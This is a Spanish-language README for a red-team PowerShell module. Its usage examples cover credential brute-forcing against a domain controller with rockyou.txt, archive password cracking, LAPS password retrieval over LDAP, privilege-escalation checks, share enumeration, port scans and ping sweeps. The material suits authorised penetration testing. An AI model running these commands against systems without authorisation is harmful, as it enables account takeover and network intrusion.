
Colección de funciones de PowerShell que un Red Teamer puede usar en un compromiso.
Colección de funciones de PowerShell que un Red Teamer puede usar para recolectar datos de una máquina u obtener acceso a un objetivo. Agregué archivos ps1 para los comandos incluidos en el módulo RedTeamEnum. Esto te permitirá encontrar y usar fácilmente un solo comando si eso es lo que deseas. Si deseas el módulo completo, realiza las siguientes acciones después de descargar el directorio RedTeamEnum y su contenido a tu dispositivo.
C:\PS> robocopy .\RedTeamEnum $env:USERPROFILE\Documents\WindowsPowerShell\Modules\RedTeamEnum *
# Esto copiará el módulo a una ubicación que permita importarlo fácilmente. Si estás usando la sincronización de OneDrive, es posible que necesites usar $env:USERPROFILE\OneDrive\Documents\WindowsPowerShell\Modules\RedTeamEnum en su lugar.
C:\PS> Import-Module -Name RedTeamEnum -Verbose
# Esto importará todos los comandos del módulo.
C:\PS> Get-Command -Module RedTeamEnum
# Esto listará todos los comandos del módulo.
C:\PS> Convert-Base64 -Value "Convert me to base64!" -Encode
C:\PS> Convert-Base64 -Value "Q29udmVydCBtZSB0byBiYXNlNjQh" -Decode
C:\PS> Convert-StringToHash -String "Convert me to base64!"
C:\PS> Convert-StringToHash -String "Password123" -Encoding UTF8 -Algorithm MD5
# Ambos ejemplos anteriores convierten la cadena Password123 a un valor hash MD5
C:\PS> Convert-SID -Username tobor
# El ejemplo anterior convierte a tobor en su valor SID
C:\PS> Convert-SID -SID S-1-5-21-2860287465-2011404039-792856344-500
# El valor anterior convierte el valor SID a su nombre de usuario asociado
C:\PS> Test-BruteForceZipPassword -PassFile 'C:\Users\USER\Downloads\Applications\pass.txt' -Path 'C:\Users\USER\Downloads\Applications\KiTTY.7z' -ZipExe 'C:\Program Files\7-Zip\7z.exe'
# Este ejemplo usa las contraseñas del archivo pass.txt para descifrar el archivo KiTTY.7z protegido con contraseña
C:\PS> Test-BruteForceCredentials -ComputerName DC01.domain.com -UseSSL -Username 'admin','administrator' -Passwd 'Password123!' -SleepMinutes 5
# Este ejemplo probará la única contraseña definida contra los dos usuarios admin y administrator en el equipo remoto DC01.domain.com usando WinRM sobre HTTPS con un intervalo de tiempo de 5 minutos entre cada intento
C:\PS> Test-BruteForceCredentials -ComputerName File.domain.com -UserFile C:\Temp\users.txt -PassFile C:\Temp\rockyou.txt
# Este ejemplo probará cada contraseña de rockyou.txt contra cada nombre de usuario en el archivo users.txt sin pausa entre intentos
C:\PS> Get-LdapInfo -Detailed -SPNNamedObjects -Domain domain.com -Credential (Get-Credential)
# Lo anterior devuelve todas las propiedades de los objetos devueltos en domain.com
#
C:\PS> Get-LdapInfo -DomainControllers | Select-Object -Property 'Name','ms-Mcs-AdmPwd'
# Si esto se ejecuta como administrador, devolverá la contraseña LAPS para la cuenta de administrador local
#
C:\PS> Get-LdapInfo -ListUsers | Where-Object -Property SamAccountName -like "user.samname"
# NOTA: Si incluye el interruptor "-Detailed" y canaliza la salida a Where-Object, no devolverá ninguna propiedad. Si desea mostrar todas las propiedades de su resultado, deberá realizarlo usando el formato siguiente
#
C:\PS> Get-LdapInfo -AllServers | Where-Object -Property LogonCount -gt 1 | Select-Object -Property *
C:\PS> Get-NetworkShareInfo -ShareName C$
# El ejemplo anterior devuelve información sobre el recurso compartido C$ en la máquina local
#RESULTADOS
Name : C$
InstallDate :
Description : Recurso compartido predeterminado
Path : C:\
ComputerName : TOBORDESKTOP
Status : OK
C:\PS> Get-NetworkShareInfo -ShareName NETLOGON,SYSVOL,C$ -ComputerName DC01.domain.com, DC02.domain.com, 10.10.10.1
# El ejemplo anterior descubre y devuelve información sobre NETLOGON, SYSVOL y C$ en los 3 dispositivos remotos DC01, DC02 y 10.10.10.1
C:\PS> Test-PrivEsc
C:\PS> Get-InitialEnum
C:\PS> Start-SimpleHTTPServer
Abrir servidor HTTP en el puerto 8000
#O
C:\PS> Start-SimpleHTTPServer -Port 80
# Abrir servidor HTTP en el puerto 80
C:\PS> Invoke-PortScan -IpAddress 192.168.0.1
C:\PS> Invoke-PingSweep -Subnet 192.168.1.0 -Start 192 -End 224 -Source Singular
# NOTA: El parámetro Source solo funciona si el valor de IP Source Routing es "Yes"
C:\PS> Invoke-PingSweep -Subnet 10.0.0.0 -Start 1 -End 20 -Count 2
# El valor predeterminado para count es 1
C:\PS> Invoke-PingSweep -Subnet 172.16.0.0 -Start 64 -End 128 -Count 3 -Source Multiple